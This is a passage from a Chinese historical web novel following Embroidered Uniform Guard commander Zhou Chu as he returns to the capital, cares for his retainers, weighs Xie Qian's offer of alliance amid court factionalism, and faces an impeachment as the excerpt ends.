“这个好办,回头我先让人把她从教坊司捞出来,你们俩现在一起过着日子,什么时候大婚,你们商量着定,至于他的家人,等找到合适的机会,让陛下起复一下就可以了。” 周楚想了想说道。 初六一向不是一个善于言语的人,听到这话,心中很是激动,却不知道该如何感谢周楚,他很清楚,自己欠少爷的实在是太多了。 最终,初六跪在了周楚面前,磕了个头。 “何必如此,难道仅仅是因为一个女人?” 周楚看着初六道。 初六听到这话,却是摇了摇头。 “我爹曾经说过,天下女人多的是,想做老千,就不能因为某一个女人而沉沦,我是喜欢她,能和她在一起更好,倘若不能在一起,倒也无妨,对初六而言,少爷才是天,少爷如此为我考虑,初六心里感激。” 初六难得的说了很多话,周楚听到这些话很是高兴。 谁不喜欢忠诚的手下呢? 打发走初六之后,周楚来到了隔壁的宅子之中,刚进宅子,周楚就闻到了一股很浓的药味,不禁皱了皱眉头。 这个宅子正是周楚送给金有财居住的,老头当了这么多年的乞丐,风吹日晒的,本就风寒入体,这么多年不过是强撑着罢了,直到将小刀托付给了周楚,金有财这才彻底没了心思,身子骨也就一天不如一天了。 这半年的时间,小刀再也没离开京城,一直在老头身边照顾着。 “少爷。” 小刀手里正端着刚熬好的药,看到周楚到来,顿时显得有些局促。 小刀面对任何人都大大咧咧的,即便是面对身为公主儿子的林廌,也从未假以辞色,唯独面对周楚的时候,才会像一个孩子一般局促。 虽说周楚比小刀大不了两岁,但小刀跟在周楚身边这么多年,很多东西都是跟周楚学的,对小刀而言,周楚更像是父兄。 只有面对周楚的时候,小刀才会像一个怕犯错的孩子,显得很局促。 “老头子身子骨好些了吗?” 周楚看着小刀,问道。 小刀听到这话,摇了摇头。 “他这一身毛病拖了太久了,一直没治,现在能勉强维持着不恶化,就已经很不错了。” 说这话的时候,小刀满脸的担忧。 周楚听到这话,并不意外,金有财的身子骨常年风寒入体,想要调理也不是一朝一夕的事,更何况如今的金有财年岁很大了,恢复的比年轻人要慢的多,能保持现状已经不错了。 “这是陛下赐给我的龙涎香,你回头把它研磨成粉,放在老头子床头点着,应该能有不错的功效。” 周楚说着拿出一小块龙涎香,这是皇帝赐给他的那一块之中的一小部分,周楚想着金有财的这身毛病或许用得上,就带来了一些。 “这.....这太贵重了吧?” 小刀看着周楚手中的龙涎香,她自然是听说过龙涎香的大名的,实际上不只是她,这京城之中的达官贵人,基本都听说过,不过基本都是只闻其名,不见其物罢了。 龙涎香的功效一直以来都被传的神乎其神,就差没被说成可以活死人肉白骨了。 小刀知道这个东西,还是从戏文之中听来的,现在见到这等传说之物,自然不敢接。 “这有什么贵重的,龙涎香罢了,如今我大明海军遍布四海,以后这种东西只会越来越多。” 周楚说着将龙涎香放在了小刀手中。 “这东西就不要告诉老头是什么了,省的他有心理负担。” 周楚交代道。 小刀看着手里的龙涎香,顿时觉得很是烫手,听到周楚的嘱咐,下意识地点了点头。 “有劳少爷记挂。” 小刀满脸感动道。 周楚听到这话,无所谓的摆了摆手,和小刀两人来到了后院之中的厢房之中。 这间厢房正是金有财住的地方,整个厢房之中充斥着草药的味道。 金有财躺在床上,时不时的咳嗽两下,看样子不是很好,但也不是很坏,和半年前差不了多少。 看样子小刀说的没错,老头的身子骨算是稳住了。 看到周楚走了进来,老头想要翻身下床,被周楚阻止了。 “少爷什么时候回京的?” 老头被周楚按在了床上,也没再坚持,看着周楚问道。 现在的金有财面对周楚,可不敢像当初那般了,毕竟那时候周楚还只是个小商人,现在的周楚可谓是权势滔天。 即便是当初,金有财对周楚的吩咐,也是无有不应。 “刚回来没多久,文心大婚在即,特意回来参加他的婚礼。” 周楚笑道。 “你这身子骨算是稳住了。” 周楚看着老头,继续说道。 “全赖少爷,要是没有少爷,没有这个宅子,没有少爷给的钱买药吃,我这把老骨头恐怕早就入土了。” 金有财看着周楚,满脸感激道。 周楚听到这话,却是摇了摇头。 “不能这么说,你当初也帮我做了很多事。” 金有财听到这话,看着眼前的周楚,不禁想起了当初第一次和周楚的正式见面。 那时的周楚已经是小有成就的商人,但也只是个商人,在金有财这个老江湖面前还稍显稚嫩,这才过了两年左右,之前的那个少年,一言一行之间所带的威势,已经让他不敢直视了。 周楚的成长,金有财可以说是亲眼见证的,这种成长速度,实在是太惊人了。 真是应了李太白的那首诗,大鹏一日同风起,扶摇直上九万里。 “方才我入宫见陛下,碰巧遇上了飞霞子道长,同他说了你的毛病,道长说你这是寒邪入体,拔出寒邪非一朝一夕之功,不能只是吃药,多弄些上等的艾草,每日艾灸一下,补充阳气,再过段时间,日头旺了些,每日中午要褪去上衣,晒晒背,太阳火又称之为天灸,乃至刚至阳之火,最克阴邪。” 周楚看着老头,嘱咐道。 金有财没想到周楚都到了如今这等权势了,还记挂着自己一个老乞丐,内心无比感动,恨不得跪下来给周楚磕个头。 “少爷能如此记挂我这个老乞丐,老头子我真不知道该何以为报。” 金有财无比感动道。 “何必说这些外话,你好好将养身子,按照道长的方法,养个一两年,基本就能好了。”小說中文網 周楚说着从怀中取出了几张银票,放在了金有财身旁,眼看着金有财要推脱,周楚直接伸手阻止了。 “你应该知道,这点钱于我而言不算什么,你养身子需要的花销不少,小刀一人伺候着你难免辛苦,回头买两个丫鬟,年纪大了,总要有人好好伺候着。” 周楚说完这话,不给金有财拒绝的机会,起身就离开了。 金有财看着手中数千两的银票,不禁露出了苦笑。 他看向了一旁的小刀,满脸的歉意。 “少爷说得对,是得买两个丫鬟。” 对于金有财的话,小刀并未反对,对她而言,老头身边多些人照顾,总是好事。 她让金有财吃完药之后,拿出周楚给她的龙涎香,正要研磨,却被金有财看在了眼里,不禁眼神一凝。 “这东西你哪来的?” 金有财虽然是个乞丐,但见识却远非一般人能比,他年轻的时候见过一小块龙涎香,此时看到眼前的龙涎香,闻着龙涎香那特有的香味,自然知道这东西是什么。 龙涎香! 一个单单提名字就让金有财胆颤的名贵之物,其他那些名贵之物和龙涎香一比,简直不值一提。 小刀听到这话,手中的动作一顿,明白老头是认出了这个东西了,知道瞒不住了。 “这是陛下赏赐给少爷的龙涎香,少爷让我研磨之后,在你床头点着,应该对的你病有好处。” 小刀既然清楚瞒不住了,也就不再藏着掖着了。 “龙涎香!给我用?我配吗?这些龙涎香好好留着,我这身子骨现在已经稳住了,这等名贵之物,用在我这里,简直是暴殄天物,回头给少爷送回去,龙涎香也只有少爷才有资格用。” 金有财听到小刀的话之后,说话的时候语气都是颤抖的,他怎么都没想到,周楚为了自己居然做到了如此地步,皇帝赏赐的龙涎香都拿得出来。 此时的金有财心肝都在颤抖,一方面是感动,另外一方面是激动,他怎么都没想到,自己有生之年,能再次看到龙涎香,而且这龙涎香还是少爷要给自己用的。 小刀听到这话,倒也没有继续坚持,本身这龙涎香她就用的很有心理负担,现在听到老头这话,反而是松了口气。 按照方才少爷的说法,老头这个病只要坚持艾灸再加上吃药,总能慢慢调理好的,既然如此,何必浪费此等神物。 想明白这些,小刀把龙涎香收了起来,想着回头悄悄给少爷送回去。 现在送回去不太合适,毕竟少爷前脚才刚离开。 周楚回到家之后,看到了孙强,孙强是周楚让初六叫过来的。 “衡器,按你的吩咐,你们一家子已经安排妥当了,如今没人能找到他们在哪里,我又给了你爹五千两白银,够他们花的了。” 孙强自然知道周楚叫自己来是为了什么,说道。 周楚听到这话,点了点头。 自己那一家子,周楚不会和他们有太多纠葛,主要是因为自己的身份特殊,一旦被人知道他们的身份,就会让他们陷入无尽的危险之中。 “表叔,你家小子书读的怎么样了?” 周楚在孙强面前很是自在,孙强也是如此,孙强将两人之间的关系拿捏得很好,既不会僭越,也不会显得生分。 孙强有了钱之后,在京城安家落户了,他的家眷都是在乡下的,因为孙强很清楚,他的媳妇不过是一个乡野村妇,见识很短,一旦来了京城,不知道要惹下多少麻烦。 倘若只是孙强自己,他忍一忍也就算了,但孙强最怕的是为周楚惹出麻烦来,所以一直以来都没有把家里人接过来。 不过孙强没少往家里送钱,孙家在他们老家乡下过的那叫一个风光,也算是十里八乡数得上的富户了。 孙强有一个女儿一个儿子,儿子如今十一二岁,在孙强的安排下,虽然没进京,却也进入了老家的私塾之中开始读书识字了。 “别提了,那小子就不是个读书的料,我对他要求也不高,能读书识字,哪怕将来做个账房先生,也是饿不死的。” 孙强无奈道。 “不着急,有些人开窍的晚了些,再看看吧,说不定过两年就开窍了。” 周楚笑道。 “希望如此吧。” 孙强叹了口气道。 “少爷,谢迁谢大人求见。” 周楚正和孙强说着话,春兰走了进来。 周楚听到这话,顿时有些意外,谢迁这个老家伙来找自己干什么? 第275章 谢迁的投诚,暗流涌动的京城 “谢大人还真是消息灵通,本官这才刚回京城,谢大人就得到消息了。” 周楚看着眼前的谢迁,笑道。 周楚回京的事,原本也没打算瞒过其他人,毕竟要参加陆炜的婚礼,不过却也没有大张旗鼓地回京,谢迁能这么快得到消息,有些出乎周楚的预料。 “老夫是余姚人,余姚离绍兴不过百十里。” 谢迁从一旁的婢女手中接过茶杯,喝了口茶,笑道。 谢迁这话只说了一半,不过周楚也明白他话里话外的意思。 谢迁老家是余姚的,绍兴余姚那边但凡有点风吹草动,肯定是瞒不过他的。 只要找些人盯住张家村,周楚一旦出入,谢迁自然能得到消息。 周楚听到这话,笑了笑,不置可否。 “不知谢大人有何指教?” 周楚看着谢迁,问道。 “何谈指教,老夫如今这个年纪了,土都埋到眉毛了,还能做什么,无非是为我那不成器的儿子铺铺路罢了,之前毛维之他们让老夫入京,无非是让老夫替他们做事,不过在老夫看来,为他们做事,不如为陛下做事。” 谢迁吹了吹杯子里的茶水道。 “老夫都这个年纪了,倒也不怕别人说我首鼠两端了,以前为他们做事,但老夫几年前就致仕归乡了,和江南一系的瓜葛早已没了,更何况如今江南一系在周大人和陛下的雷霆手段之下,只能算是苟延残喘了。” 谢迁看着周楚,有些佩服道。 “所以谢大人于我和陛下还有什么更多的作用吗?” 周楚听到这话,挑了挑眉。 之前让嘉靖策反谢迁,就是周楚的主意,不过谢迁并不清楚,所以周楚也不打算挑明,周楚这么说就是在等谢迁说出他能帮自己做什么事,如果真的没什么用,为何要帮他的儿子谢丕铺路呢? 周楚和谢迁之间可没有什么交情,无非是利益交换罢了,周楚也懒得和一个七十多岁的老狐狸攀交情,对这个年纪的老狐狸而言,和他攀交情的成本那可太高了。 倒不如直来直往的好。 “老夫既然来了,自然是能帮到周大人,周大人有所不知,如今的朝局看似安稳,实则暗流涌动,周大人如今可谓是权势滔天,但问题就出在这里,纵观以往,哪一个拥有权势的官员都会有无数官员附庸,很多时候不是他们愿意成为朋党,而是到了这个位置,很多人就会依附上来,你不给他们依附,他们就会另寻山头。” 谢迁满含深意道。 周楚听到这话,想了想,自己成为锦衣卫指挥使,到如今的地位,实际上也就提拔了三个人,一个是严嵩,一个张璁,还有韩玠,至于孙娇娇的爹这种,不过是因为孙娇娇和周楚以及韩玠女儿韩鸢儿的关系,被顺带提拔上来的。 如果说周楚有朋党的话,也只有这些人,再往外延伸,顶多也就是严嵩在江南笼络的那些官员,京城之中官员近两千,经过周楚几番折腾之后,大多数官员都是没有朋党的状态。 但身处官场,可谓是逆水行舟,不进则退,如胡宗宪张居正之流,为了实现自己的理想,都不得不找一棵大树依靠,如此才能快速的往上爬。 否则极有可能蹉跎一生。 一旦入了仕途,谁又不想往上爬呢,谁不想找一棵大树依靠。 之前的陈万言刚一得势,就有无数官员蜂拥而至,虽然这些人抱错了大腿,但由此也可见官场这些官员的想法。 如今京城的这些官员,谁不想找大树依靠。 杨一清这个内阁首辅年近七十,再加上现在已经开始摆烂了,那些官员多半不会找他,即便找了,杨一清想来也不会搭理。 至于杨慎,更不会搭理这些人了,杨慎现在走的路线就是孤臣,能臣的路子,也就和周楚韩玠交情不错,其他官员他一向懒得假以辞色。 将这两人都排除之后,留给那些官员的选择也就没多少了。 “谢大人的意思是,如今京中的官员都在依附毛大人和夏大人?” 周楚迅速思考之后,得出了结论。 “周大人果然是智计过人,一眼就看到问题所在。” 谢迁略带恭维道。 谢迁将自己的位置摆的很正,并没有倚老卖老,也没有以过来人的姿态说教,他很清楚,如今是自己需要周楚和皇帝,而不是皇帝和周楚非他不可。 “周大人如今的权势,最大的问题就是不结党,如此一来,下面那些官员攀附不到周大人,就会想办法扳倒你,从而让他们攀附的大树上位夺权。” 谢迁点明道。 周楚听到这话,并不意外,任何一个能臣权臣,倘若不想结党,下面就会有无数官员攻歼。 原本历史上的张居正就是如此,张居正可谓是能臣权臣的典范了,权势可谓达到了大明臣子的巅峰,但问题就出在这里,以张居正的权势,居然不结党营私,下面那些官员攀附不上张居正,就会疯狂的攻歼他。 如今周楚的权势和巅峰时期的张居正还相差甚远,甚至周楚心里很清楚,自己可能终其一生都不可能达到张居正那种权势。 毕竟张居正面对的是少年万历,而自己面对的皇帝是嘉靖,一个智近乎妖的皇帝。 皇帝对自己不薄,周楚也没想着过多的揽权,如此君臣相宜,倒也不错。 以张居正的权势,都因为夺情一事被疯狂攻歼,死后更是遭到了彻底的清算,整个张家的人下场都不算好。 周楚可不认为现在自己可以只手遮天了,反而现在的周楚,才是最危险的,这也是周楚为何待在张家村,远离朝堂的根本原因。 只有远离朝堂一段时间,才能让京城这些官员另找他人依附,如此一来,周楚才能看清楚形势,周楚在暗,这些人在明,到时候真要办起来这些人,反而容易一些。 大明的朝堂就是如此,当你以为自己权势最盛的时候,往往就是乐极生悲的时候,这一点无数人验证过了,原本历史上的徐阶、严嵩,在权势巅峰都待了没几年。 如今毛纪和夏言失去了江南一系的根基,自然是要继续稳固自己的根基,他们只需要对京中这些官员稍微释放出一点信号,那些官员就会像苍蝇一般围上去。 周楚叹了口气。 “本官只想为陛下,为朝廷做事,对于结党一事,实在是没什么兴致,一旦结党,容易尾大不掉,到时候真要是有无数官员依附于本官,本官说什么做什么,还能由得了自己吗?” “周大人深明大义,老夫是知道的,所以才来帮周大人。” 谢迁笑道。 “那就有劳谢大人了。” 周楚说着端起茶杯,和谢迁遥遥碰杯道。 第276章 二丫和云瑾 周楚这次进京,大柱和二丫都是跟着的,其中大柱是跟随周楚来的,二丫则是云瑾要带在身边的。 云瑾这段时间和二丫相处的极好,二丫淳朴的性子很对云瑾的脾气,云瑾也打定了主意,将二丫培养成才,将才要走什么路,让二丫自己决定。 二丫和大柱两人进京之后,瞬间感觉自己的眼睛不够用了,看什么都觉着新鲜,不过大柱和二丫都很本分,也只是到处看看,不敢开口要任何东西。 两人头一次进京,在这之前,他们也就去过一两次绍兴城,所以大柱两人显得很是拘谨,云瑾看出了二丫的拘谨,于是干脆带着二丫,来到了云桂坊。 此时的云桂坊,沈青因为怀有身孕,已经很少露面了。 “你们东家呢?” 云瑾来到云桂坊的总铺,没看到沈青,有些疑惑道。 “我们东家有孕在身,这两个月已经很少来店里了,您有什么事可以和我说。” 云桂坊的掌柜满脸堆笑地看着云瑾道。 他虽然不认识云瑾,但云瑾身上穿的衣服可不是一般人家能穿的,云瑾身上的衣服是用云锦做的。 云锦的工艺极其复杂,要用黄金抽丝织就,两个经验老到的云锦师傅互相配合,一天也只能织出来两寸左右的云锦。 云锦极其昂贵,即便是在后世,什么都有的年代,一件云锦做的衣服,也需要一百多万。 现在这个时代,更是有钱都买不到,也不敢买,因为云锦是皇家专用的,其他人如果敢贸然穿云锦,那就是杀头的死罪。 云瑾的这套衣服,还是嘉靖前几日和那些东西一同赏赐的,嘉靖很清楚,自己不能明着赏云瑾什么东西,在一两个月以前,还特意让陆炳写信问了一下云瑾穿衣服的尺寸,毕竟云瑾还在长身体的阶段,得到具体尺寸之后,嘉靖就让那些做云锦的皇家工匠开始加班加点的给云瑾做衣服。 实际上嘉靖赏赐给云瑾的衣服不止这一套,每一套云锦做的衣服都价值极其昂贵。 云瑾也懒得藏拙,既然皇帝赏赐了,就穿在身上,不然岂不是浪费了这么好看的衣服。 所以云瑾刚一进入云桂坊,掌柜的就一路小跑走了过来,正所谓先敬罗裳后敬人,掌柜的既然是做这一行的,他可能不认识云瑾,但不可能不认识云锦。 纵观整个京城,能穿云锦的,他还真没见过,此时骤然见到,态度要多谄媚有多谄媚。 “先给她挑选几套现成的成衣,要最上乘的,然后再定做几套。” 云瑾看着身旁的二丫说道。 二丫听到这话,更加拘谨了。 “姐姐,不用,这得花多少钱啊。” 云瑾听到这话,扶住二丫的肩膀,让她看着自己。 “不用问多少钱,这云桂坊是二哥的生意,不花钱。” 云瑾笑道。 二丫听到这话,松了口气,显得没那么拘谨了,她和周楚相处这么久,从未在周楚身上感受过什么压力,在外人面前权势滔天的锦衣卫指挥使周大人,面对二丫的时候不过是一个邻家大哥罢了。 “您是周大人的....” 一旁的掌柜的听到这话,呼吸都变的急促了,他作为云桂坊总店的掌柜,自然是知道很多的,比如这家云桂坊总铺,背后的东家除了沈青以外,还有一个人,正是锦衣卫指挥使周楚周大人。 所以掌柜的对一般人从不会这般谄媚。 “你们东家周大人是我二哥,这间铺子是以前我二哥和沈青姐姐一起经营起来的,那时候我还很小。” 云瑾说道。 “您是陆家大小姐?” 掌柜的一听这话,顿时知道了云瑾的身份,一脸恍然道。 云瑾听到这话,点了点头。 “给她挑几套好的。” 云瑾看着掌柜的说道。 “您放心吧,方才不清楚您的身份,我一定给这位小姐挑几套咱们店最顶尖的。” 掌柜的点头哈腰道。 此时知道云瑾的身份,掌柜的比刚才更加谄媚了,如果只是一般的皇室子弟,掌柜的虽然态度恭敬,但这种人其实和掌柜的关系不大,掌柜的只需要接待好就行了。 但云瑾不同啊,这位可是陆家的千金,周大人亲自养大的,和自己的两个东家的关系摆在这里呢。 万一要是不小心得罪了这位大小姐,自己的饭碗可就没了。 能在云桂坊当掌柜的,是多少人求都求不来的,云桂坊无论是掌柜的还是跑堂的,工钱都比其他铺子要高好几倍。 特别掌柜的,除了每个月的月钱之外,还有额外的销售提成,算起来,他每个月的月钱家提成最后算下来,是其他铺子掌柜的十倍左右。 当然,给的钱多,相应的要求也就高,云桂坊无论是掌柜的还是跑堂的,每一个对待顾客的态度都是极其热情饱满的,这种热情是发自内心的,而不是伪装出来的。 很快,二丫换了一套衣服,不过即使穿上了这一套很华丽的衣服,二丫也显得很拘谨,很不自在,毕竟她以前没学过什么礼仪,一言一行都没什么规矩,一看就是乡下来的丫头。 掌柜的自然也看得出来,他只以为这是陆家乡下的哪个远房亲戚,自然不敢多说什么。 二丫穿着她原本的衣服的时候,还是相对自在的,此时穿上这一身衣服,二丫好似被封印了一般,不知道该如何动作了。 整个人的肢体显得无比僵硬。 而且二丫的脸色不像京城的那些官家小姐一般白皙,穿着这套衣服也显得有些不伦不类。 “算了,这几套衣服包起来吧,你去换回来吧。” 云瑾看着二丫这副模样,摆了摆手道。 她也清楚二丫为何会如此拘谨,毕竟出身地位,贸然见到这种世面,肯定哪哪都不自在,倒不如让她恢复原本的模样。 二丫听到这话,顿时松了口气,急忙跑回去换衣服去了。 换回原本衣服的二丫,顿时显得自在多了。 “你不用如此拘谨,这京城之中,你想怎样就怎样,你还小,不用在意那些规矩,这京城之中,有二哥在,没人敢说你什么,就和在张家村一样就行。” 云瑾看着二丫,有些无奈道。 二丫听到这话,眼珠子转了转。 “真的嘛?” “当然是真的。” 云瑾点头道。 “那我就放心了,自从来了这京城,可把我难受死了。” 二丫松了口气道。 此时的二丫俨然恢复了之前的灵动。 “走吧,我带你去见一见沈青姐姐。” 云瑾拉着二丫的手向铺子外走去。 第277章 沈青的礼物,大柱前往锦衣卫所,山雨欲来 沈青怀的是谁的孩子,云瑾心里是门清的,实际上沈青大婚前一夜,特意找过云瑾,云瑾对周楚的心思,沈青看的一清二楚。 沈青对周楚有想法,但要不要做,还要问云瑾的意见,于公,云瑾是方鸿的顶头上司,于私,云瑾是她看着长大的,无论如何她不能瞒着云瑾。 对于沈青的心思,云瑾也是知道的,所以沈青和自己说这件事的时候,云瑾并不意外。 云瑾很清楚自己还小,就算以后和二哥大婚,也要等好几年,以周楚现在做的事,身处的位置,可以说是时刻置身于危险之中,云瑾也想着周楚能有个后,也就同意了。 云瑾带着二丫,很快就来到了方府,方府还算气派,毕竟方鸿的爹和她爷爷都是世袭的锦衣卫,世代经营下来,整个方府并不比沈青原本的家差多少。 “您二位找谁?” 方府的门房之中,走出一个小老头,看着云瑾身上的衣服,瞬间低头,不敢多看,他虽然不认识云锦,却也知道眼前之人非富即贵。 “我来找沈姐姐,你去通报一下。” 云瑾说道。 老头听到这话,不敢怠慢,急忙进入府中通报。 没过多久,挺着大肚子的沈青满脸高兴地来到了方府门口。 “云瑾,你什么时候回京的?” 沈青说着就上前拉住云瑾的手,满脸欣喜。 一旁的二丫看着眼前的沈青,顿觉眼前的这位姐姐有种说不上来的感觉,如果说云瑾给她的感觉是英姿飒爽的话,那么眼前的这位姐姐就是温婉又不是干练,一言一行都让人如沐春风。 “这是哪位妹妹?” 沈青说这话的功夫,也伸手拉住了二丫的手,这让二丫小脸一红。 她从未感受过如此柔软的手,云瑾的手因为常年练武,虽然比一般男人的手要柔软很多,但和沈青相比还要差不少。 沈青拉着二丫的手,二丫感觉心里痒痒的,她从未有过这种感觉,一时之间有些不好意思。 “这是二丫,这次二哥能平安无事,全靠二丫一家把他救了下来。” 云瑾介绍道。 沈青听到这话顿时一愣,再看向二丫的眼神就变了,眼神之中有感激,也有喜爱。 “快进来吧,别站着说话了。” 沈青拉着两人,进入方府之中。 一路上,云瑾的目光一直盯着沈青的肚子。 “也不知道是男孩还是女孩。” 云瑾忍不住说道。 沈青听到这话笑了笑。 “男孩女孩都好,我都喜欢。” 云瑾听到这话,也笑了。 “男孩就给我当干儿子,女孩就给我当干女儿。” “那当然,肯定要认你这个干娘的。” 沈青理所当然道。 三人说着就来到了方府的正厅之中,沈青让下人取出自己珍藏的最顶级的桂花乌龙茶,给云瑾和二丫冲泡。 “这是我干娘给我的上好的桂花乌龙茶,我一直也不怎么舍得喝,你们尝尝。” 沈青一边说着,一边吹了吹茶杯里的茶水,抿了一口。 沈青口中的干娘不是别人,正是德清公主,这些茶叶既然出自公主府,自然是差不了的。 云瑾也浅浅的尝了一口,那细腻的口感顿时让她眼睛一亮。 “确实是好茶。” 旁边的二丫则如同牛嚼牡丹一般,直接喝了一大口,被烫的差点没忍住吐出来,但又觉着这么做太失礼了,只能硬生生把一口滚烫的茶水咽了下去,脸色憋得通红。 云瑾自然看到了二丫的模样。 “把嘴巴张开,我看看烫坏了没有。” 云瑾有些责怪道。 二丫听到这话,有些不好意思的张开嘴巴,伸出舌头。 “还行,你倒是皮糙肉厚。” 云瑾翻了个白眼道。 二丫听到这话,不好意思地笑了笑。 倒是沈青,满脸歉意地看着二丫。 “这也怪我,忘了嘱咐你了,这都是热茶,不能喝这么快。” 沈青自小习惯了大小姐一般的生活,以为这些都是常识,也就叮嘱二丫,实际上不只是沈青,云瑾也忽略了这个问题。 “二丫,你和我说说,当初你们一家是在哪遇到的衡器?” 沈青看着二丫,问道。 她之前一直都很担心周楚,后来知道周楚没事了,也就放下心来了,现在知道是二丫一家救了周楚,沈青自然想了解当初发生了什么。 “啊?” 二丫听到这话愣了一下,然后转着眼珠子开始回想。 “我记得那都快天黑了,我哥牵着一匹马回来了,马上就是楚哥儿,那时候的楚哥儿可吓人了,浑身都是血,身上的盔甲都是血块。” 二丫一边说一边比划着。 沈青听到这话,顿时感到无比心疼,她都能想象,当时的周楚肯定是命悬一线。 “我爹就让我去叫我三爷爷,我三爷爷是村子里的大夫,我把三爷爷叫过来之后,三爷爷给楚哥儿把身上的那盔甲脱了下来,用草药给他敷住全身,三爷爷说楚哥儿能不能好,全看他自己,能熬过去就能好。” 二丫虽然年纪不大,但穷人家的孩子早当家,她的表述能力还是相当不错的。 “第二天楚哥儿就醒了过来,后面就慢慢好了。” 沈青听到这话,不着痕迹地用手帕擦了擦自己的眼泪,然后从自己手腕上撸下来一个纯金的手镯子,直接套在了二丫的右手上。 “第一次见面,也不知道送你些什么,这个手镯倒是个不错的玩意,对了,还有这个。” 沈青说着又从旁边的架子上取下来一块玉佩,这块玉佩一看就价值不菲,沈青将玉佩戴在了二丫脖子上。 二丫看着手腕上的金镯子和脖子上的玉佩,顿时有些手足无措地看着云瑾,似乎在等云瑾告诉自己应该怎么做。 “沈姐姐送给你的,你就收下吧,她有钱,有很多钱。” 云瑾摸了摸二丫的头,笑道。 二丫听到这话,顿时没了之前的局促,她一向不会假客气,无论是这金手镯还是玉佩,她虽然不知道有多贵重,但小孩子对于好看的礼物都是很喜欢的,自然是不想还回去,听到这话,顿时满心欢喜。 另外一边,大柱则跟着沈炼来到了锦衣卫所,看着锦衣卫所那有些阴森的环境,还有周围一个个神情严肃的锦衣卫,大柱顿时感觉头皮一麻,他何时见过这等阵仗。 “不用怕,周大人是这里的老大,所有人都得听周大人的,没人敢得罪你。” 沈炼看着大柱这副模样,忍俊不禁道。 大柱听到这话,顿时松了口气,此时的大柱才意识到楚哥儿到底有多大的权势。 之前在张家村,周楚处理很多事都刻意避开了大柱和二丫,即便是张家村外驻扎着玄武军,大柱其实也没多大感觉,此时看着无比森严的锦衣卫所,大柱才直观的感受到了周楚的权势。 “沈大人。” 一个锦衣卫百户看到沈炼之后,神情恭敬道。 沈炼看着这个锦衣卫百户,点了点头,没多说什么。 虽然沈炼如今也只是锦衣卫百户,但百户和百户之间差距可是很大的,沈炼可是周楚这位锦衣卫指挥使的贴身护卫,亲信,周楚有什么事要办,第一个想到的就是沈炼。 虽然沈炼如今只是个百户,但在这京城之中,即便是一般的锦衣卫千户见到沈炼,都得恭敬地叫一声沈大人。 就算是北镇抚司的镇抚使陆万山,也得喊沈炼一声沈老弟。 所有人都清楚,百户对沈炼而言只是起步罢了,但对大部分百户而言,他们一辈子也只能是个百户,这就是差距。 不过倒也没人不服,之前锦衣卫跟着周楚打了很多硬仗,沈炼无论是能力还是武力都是有目共睹的,即便是陆万山都十分佩服周楚的识人能力,居然能找到这么一个能人。 更何况之前周楚遇刺,沈炼为了保护周楚,身受重伤,差点战死,这个消息在锦衣卫内部早已不是什么秘密,如此一来,所有人都清楚,沈炼将来的前途不可限量。 当然,那些个为了保护周楚而战死的百户,周楚自然不会亏待他们,每一家都以周楚私人的名义,给他们送去了一万两白银,还有丝绸等东西更是不计其数。 不是周楚不想给太多的钱,而是这些百户都战死了,给太多的钱对他们而言不是好事,只会是祸事。 周楚将更多的钱换成了资源,比如丝绸等等,每一家拿到的东西价值大概都在十万两左右。 这些百户的儿子可以直接继承他们的职位,周楚甚至还派了人去这些百户家中,有任何问题都直接帮忙解决。 周楚的这一做法,让所有锦衣卫对周楚,对锦衣卫的归属心瞬间达到了极致,没有一个锦衣卫为那些战死的百户可惜,因为作为锦衣卫,经常会置身危险之中,这本就是寻常之事。 如果自己的死,能换来这么多,能为家里带来这么多,他们每个人都愿意为周楚效死。 沈炼带着大柱一路来到了锦衣卫所深处,周楚的衙署。 “沈大人。” 邓愈看到沈炼,恭敬行礼道。 沈炼点了点头,看向大柱。 “你带他去办理一下手续,从最基础的力士做起。” 邓愈听到这话,看向了一旁的大柱。 “跟我来吧。” 大柱听到这话,有些忐忑地看向沈炼,看到沈炼点了点头,这才跟着邓愈向外走去。 沈炼则端起旁边的茶杯,给自己倒了杯茶,细细品味了起来。 沈炼刚喝了两杯茶,陆万山火急火燎地走了进来。 “沈老弟,大人是不是回京了?” 陆万山看着沈炼,满脸惊喜道。 沈炼听到这话,放下茶杯,点了点头。 “你就不能改改你这急躁的毛病?” 沈炼看着陆万山道。 沈炼面对陆万山,并没有把自己摆在低于陆万山的位置,因为沈炼很清楚,自己代表的是周大人,自己在这锦衣卫所,就是周大人权势的延伸,虽然沈炼并不在乎什么权势,但他在乎周楚的颜面,在沈炼看来,周大人为国为民,如今的一切都是周大人理所应当的。 陆万山听到这话,丝毫没有生气,反而有些不好意思的挠了挠头。 “沈老弟就别取笑老哥我了,我是个粗人,又不像你,自幼读书,还跟着阳明先生学了这么久。” 陆万山有些羡慕地看着沈炼,沈炼现在的模样,正是陆万山梦寐以求的,自身天赋异禀,又有名师指点,这是陆万山做梦都求不来的。 陆万山如今已经定了型,想要再进一步难如登天,但他很清楚,眼前的沈炼,将来的成就只会比自己高,自己退了之后,北镇抚司镇抚使的职务,多半是这位的。 而且陆万山更清楚,镇抚使绝不是这位的终点,将来很可能会成为锦衣卫同知。 “大人确实回京了,虽然没有声张,不过也是瞒不住的,也没有刻意隐瞒。” 沈炼再次喝了一口茶道。 “太好了,之前大人遇刺,可把我吓坏了,我当时都恨不得直奔江南,寻找大人的下落,可惜公务在身,不能抽身。” 陆万山这话,完全是在表忠心,他很清楚,混官场,光会做还不够,还得会说,光做不说,别人能不能看到还不知道,遇到一些黑心的上级,即便是看到了也会装作没看到。 陆万山虽然清楚周楚不是这样的人,甚至自己做了什么,周楚一定能看到,但他仍然不会放过任何献殷勤表忠心的机会。 “老哥你这在我面前献殷勤有什么用,回头见了大人,自己和他说不是更好?” 沈炼笑道。 陆万山听到这话,嘿嘿一笑。 “老弟此言差矣,我这怎么能是献殷勤呢,这话都是真心实意的,当时我真的想去江南找大人。” 陆万山很清楚,在沈炼面前献殷勤就相当于在周楚面前献殷勤了,很多话在周楚面前不方便说,显得过于肉麻,但在沈炼面前就没了这种顾虑。 沈炼自然会把自己的话一五一十地传达给大人。 对于陆万山的滑头,沈炼有些无奈的摇了摇头。 “不过我最近倒是得到了一些风声,京中很多官员都在攀附毛纪和夏言,如今毛纪和夏言的权势和之前相比,不止没有减弱,反而更强了,这些人来者不善,他们攀附这两位,大人挡了他们的路,他们定会对大人不利。”小說中文網 陆万山神情严肃道。 沈炼听到这话,也收起了嬉笑的表情,点了点头。 “你说的这些,大人都是知道的,大人正在谋划,如何把这些人一次打疼,打怕,不然他们就会没完没了。” 第278章 百官弹劾周楚,杨慎毛纪对喷,陆炜的心思 “陛下,臣要参锦衣卫指挥使周楚,未曾通报,私自入京,居心叵测,其心可诛。” 